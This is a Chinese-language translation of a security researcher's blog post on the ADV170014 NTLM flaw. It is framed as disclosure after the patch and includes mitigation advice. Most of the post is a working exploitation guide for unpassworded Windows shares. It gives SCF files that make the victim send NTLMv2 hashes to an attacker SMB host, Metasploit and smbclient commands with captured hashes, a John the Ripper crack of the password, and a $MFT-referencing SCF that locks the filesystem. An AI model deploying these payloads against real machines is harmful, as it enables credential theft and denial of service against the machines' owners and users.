ADV170014 NTLM SSO 漏洞利用指南

Editor發表於2017-11-08

ADV170014 NTLM SSO 漏洞利用指南

2017年10月,微軟週二補丁日釋出的補丁中有一個可選的安全補丁:ADV170014,,這個補丁修復了NTLM認證機制的一個bug,惡意攻擊者可以利用這個bug竊取使用者密碼hash並可以遠端利用該漏洞讓目標機器當機。

我在2017年5月24日報告了這個bug,微軟官方在2017年10月18日關閉了這個bug。

Microsot花了整整148天來確認檢查問題。

在10月的週二補丁日之後,官方的解決方案已經發布,所以我打算公開漏洞的細節。現在就看系統管理員們會不會安裝這個補丁了,如果他們的系統可以安裝這個補丁的話(我們下面再聊修復的話題)。

漏洞

微軟的NTLM架構有一些缺陷,這個大家都知道,竊取雜湊值也不是什麼新鮮事,一個滲透者攻擊微軟環境做的第一件事可能就是竊取雜湊。

但是,這些攻擊方法大多都需要使用者操作或者流量攔截。

而這篇部落格要介紹的攻擊並不需要使用者進行操作,所有的事情都是在攻擊端完成的,不過要成功的完成這樣攻擊還需要一些特定條件。

攻擊場景

這種攻擊需要在目標機器上有共享資料夾而且沒有密碼保護,這種場景在辦公室、學校、醫院很常見,基本上都是windows系統,可以通過共享檔案來分享音樂、照片和文件。

現在假設有一個使用者“juan”,他在電腦上建立了一個名為“Prueba2”的資料夾,並決定將整個檔案分享給他的團隊。

ADV170014 NTLM SSO 漏洞利用指南

windows系統建立共享資料夾

現在,我們開啟“Sharing”標籤,修改資料夾屬性,以允許共享檔案並且不需要使用密碼。

ADV170014 NTLM SSO 漏洞利用指南

開啟共享標籤配置檔案共享屬性

這裡我們可看到共享資料夾的路徑:\\JUAN-PC\Users\juan\Desktop\prueba2,現在我們點選“Network and Sharing center”

ADV170014 NTLM SSO 漏洞利用指南

網路和共享中心:關閉密碼保護

這裡我們點選“Turn off password protected sharing”(關閉網路共享)選項,這樣就允許任意使用者訪問共享資料夾而且不需要認證。

SCF 檔案

微軟從Windows 3.11開始引入了SCF檔案。SCF檔案是一些純文字檔案,可以讓Windows檔案瀏覽器來執行一些基本的任務。

其實已經有一些基於SCF檔案的攻擊了,但是這些攻擊都需要使用者操作來執行SCF檔案。

來看看兩個最近的例子,來自Defense Code 的Bosko Stankovic發現的攻擊:Stealing Windows Credentials Using Google Chrome(使用谷歌Chrome瀏覽器竊取Windows認證檔案),以及Black Hat 2015上Jonathan Brossard和Hormazd Billimoria演示的攻擊:SMB: Sharing more than just your files(SMB:共享的不僅僅是你的檔案)。

一個基本的SCF檔案結構就像下面這樣:

[Shell]

Command=2

IconFile=\\192.168.1.101\share\test.ico

[Taskbar]

Command=ToggleDesktop

就這麼簡單,值得要說的一點是SCF檔案是Windows很模糊的一個功能,相關的文件近乎於無。

攻擊,竊取雜湊值

要實施這次攻擊,我們打算使用Metasploit,還有一個SCF檔案,SCF檔案可根據下面的程式碼進行建立:

root@sysadminjd:~# cat test.scf

[Shell]

Command=2

IconFile=\\192.168.1.111\share\test.ico

[Taskbar]

Command=ToggleDesktop

root@sysadminjd:~#

192.168.1.111 是我們攻擊機器的ip地址,我們在這臺機器上執行了Metasploit的capture/smb模組:

root@sysadminjd:~# msfconsole -q

msf > use auxiliary/server/capture/smb

msf auxiliary(smb) > set JOHNPWFILE /tmp/smbhash.txt

JOHNPWFILE = /tmp/smbhash.txt

msf auxiliary(smb) > exploit -j

[*] Auxiliary module running as background job

[*] Server started.

msf auxiliary(smb)

我們將使用John the Ripper來破解獲取到的雜湊值,這也是為什麼我們設定了JOHNPWFILE選項,將其指向檔案:/tmp/smbhash.txt,我們截獲的windows雜湊值將會存放到這裡。

現在,“Prueba2”檔案是空的(不是空的也行)。

ADV170014 NTLM SSO 漏洞利用指南

攻擊前的共享資料夾

各項準備已就位,我們將SCF檔案上傳到有共享資料夾,可以使用任何你喜歡的方法:OSX Finder、Windoes檔案管理器,我們在這裡使用smb客戶端的命令列。

root@sysadminjd:~# smbclient //192.168.1.67/Users

WARNING: The "syslog" option is deprecated

Enter root's password:

OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]

smb: \> cd juan

smb: \juan\> cd Desktop\

smb: \juan\Desktop\> cd prueba2\

smb: \juan\Desktop\prueba2\> put test.scf

putting file test.scf as \juan\Desktop\prueba2\test.scf (88.9 kb/s) (average 88.9 kb/s)

smb: \juan\Desktop\prueba2\> ls

. D 0 Mon Oct 23 12:27:15 2017

.. D 0 Mon Oct 23 12:27:15 2017

.DS_Store AH 6148 Tue May 23 17:29:03 2017

test.scf A 91 Mon Oct 23 12:27:15 2017

6527487 blocks of size 4096. 4043523 blocks available

smb: \juan\Desktop\prueba2\>

root@sysadminjd:~#

現在我們將提前製作好的SCF檔案上傳到共享資料夾裡了:

ADV170014 NTLM SSO 漏洞利用指南

包含SCF檔案的共享資料夾

現在我們的Metasploit Console會顯示如下:


msf auxiliary(smb) >

[*] SMB Captured - 2017-10-23 12:27:15 -0400

NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:47894338d99abe2f08e2c693618c7323

NT_CLIENT_CHALLENGE:0101000000000000d0046aca1b4cd301d755c3756d5639d800000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:27:15 -0400

NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:e97b70559f29462e2ca221d31113b9ca

NT_CLIENT_CHALLENGE:0101000000000000a0177dca1b4cd301f59d5c5d52708e3b00000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:27:15 -0400

NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:eb8b228b739cc95a12d7e0d89d89e002

NT_CLIENT_CHALLENGE:0101000000000000620389ca1b4cd3017283fc96884767b700000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:37:09 -0400

NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:4abb0803c4afd1509bfca3bbc566ad70

NT_CLIENT_CHALLENGE:010100000000000076d7742c1d4cd30161b2c77a54bd58fe00000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:37:09 -0400

NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:5eeb82aab85e9663624aaf6500e4d8f8

NT_CLIENT_CHALLENGE:010100000000000046ea872c1d4cd301c7a724adf323918c00000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:37:09 -0400

NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:55a0cb725a5a171cffdccea36fdcd934

NT_CLIENT_CHALLENGE:010100000000000054118f2c1d4cd301f718b1ba2d4efc7800000000020000000000000000000000


正如你看到的那樣,一次上傳會觸發幾次認證請求,這個不用管。

現在我們已經得到了截獲的密碼雜湊值了,我們可以使用John進行破解。


root@sysadminjd:~# cd /tmp/

root@sysadminjd:/tmp# john smbhash.txt_netntlmv2

Using default input encoding: UTF-8

Rules/masks using ISO-8859-1

Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])

Press 'q' or Ctrl-C to abort, almost any other key for status

abc (juan)

abc (juan)

abc (juan)

abc (juan)

abc (juan)

abc (juan)

6g 0:00:00:00 DONE 2/3 (2017-10-23 12:27) 75.86g/s 404596p/s 585124c/s 585124C/s abc

Use the "--show" option to display all of the cracked passwords reliably

Session completed

root@sysadminjd:/tmp#


John破解出來了雜湊值,登入的使用者“juan”使用了弱密碼“abc”。

攻擊,讓目標機器當機

第二個攻擊,我們可以遠端讓目標機器當機,來看看是怎麼實現的:

我們還是需要可被攻擊的共享資料夾,我們同樣還需要一個SCF檔案,只不過構造有點不同:

root@sysadminjd:~# cat mft.scf

[Shell]

Command=2

IconFile= c:\$MFT\123

[Taskbar]

Command=ToggleDesktop

root@sysadminjd:~#

這個SCF檔案包含一個對$MFT的呼叫,這將會鎖定NTFS檔案系統,關於這個利用在這篇文章裡有過討論(不好意思,只有西班牙語的),或者你可以去網上找找關於這個利用的其它資料。

現在我們將SCF檔案上傳到目標機器上,(再一次使用smbclient):

root@sysadminjd:~# smbclient //192.168.1.67/Users

WARNING: The "syslog" option is deprecated

Enter root's password:

OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]

smb: \Z cd

Default\ desktop.ini juan\ Public\

smb: \> cd juan\Desktop\prueba2\

smb: \juan\Desktop\prueba2\> ls

. D 0 Wed May 24 18:08:34 2017

.. D 0 Wed May 24 18:08:34 2017

.DS_Store AH 6148 Tue May 23 17:29:03 2017

1.exe A 7168 Tue May 23 17:29:03 2017

prueba.scf A 92 Wed May 24 18:08:34 2017

6527487 blocks of size 4096. 4156104 blocks available

smb: \juan\Desktop\prueba2\> put mft.scf

putting file mft.scf as \juan\Desktop\prueba2\mft.scf (17.6 kb/s) (average 17.6 kb/s)

就這樣,不需要攻擊者或者被攻擊者進行其他的操作,目標機器現在已經鎖定了檔案系統,然後就靜靜等它重啟了。

受影響的版本

根據微軟官方,從Windows 3.11 到Windows10 的所有版本,不管是桌面版本還是伺服器版本都會受到該漏洞影響。

坦白的講,我只在Windows 7 和 Windows 10上做了測試,然後我就把“鍋”丟給微軟了。

修復方法

微軟釋出了針對這個漏洞的補丁,修改了兩項登錄檔鍵值來關閉作業系統的NTLM。然而這個登錄檔鍵只在Windows 10和Windows Server 2016上有,微軟沒有打算髮布對其他版本的修復補丁。

另一個問題是,禁用NTLM會破壞很多環境,這是微軟他們的擔憂。

我的建議是,使用強密碼,在攻擊之後,攻擊者需要破解獲取的雜湊值,如果密碼足夠複雜那麼破解過程將需要大量時間,足夠讓攻擊者放棄。

更好的方法是:不要無密碼共享資料夾,這樣會比較徹底些。

致謝以及最後的評論

這個漏洞已經存在很長時間了,我已經利用這個漏洞差不多一年了(當然是用在我的滲透測試專案上)。

這個漏洞如此簡單,幾乎任何人都可以利用,不過好的一點是,這個漏洞的成功利用需要特定的條件,而windows預設配置是不會受影響的。

我想感謝微軟SRC,他們辛苦工作來修復這個漏洞,並且提供了針對這個問題的部分補丁,一個針對所有版本windows版本的補丁也是不太可能的。

這個攻擊的發現還得力於來自Defense Code的Bosko Stankovic的傑出工作:Stealing Windows Credentials Using Google Chrome以及 Jonathan Brossard/Hormazd Billimoria 在Blackhat的演講:SMB: Sharing more than just your files。

當然,也感謝大家閱讀這篇略長的部落格。

Cheers!

--------------------------------------------分割線------------------------------------------------------------------

根據原作者的部落格簡單的測試了下,第一個攻擊成功了,獲取了使用者的密碼雜湊。但是第二個讓伺服器當機的沒有復現成功。

譯者測試的環境是Windows Server 2003中文版。感興趣的小夥伴試一試在其他版本的系統能不能復現成功。

本文由看雪翻譯小組 Limp 編譯,來源@Sysadmin Life  轉載請註明來自看雪社群

相關文章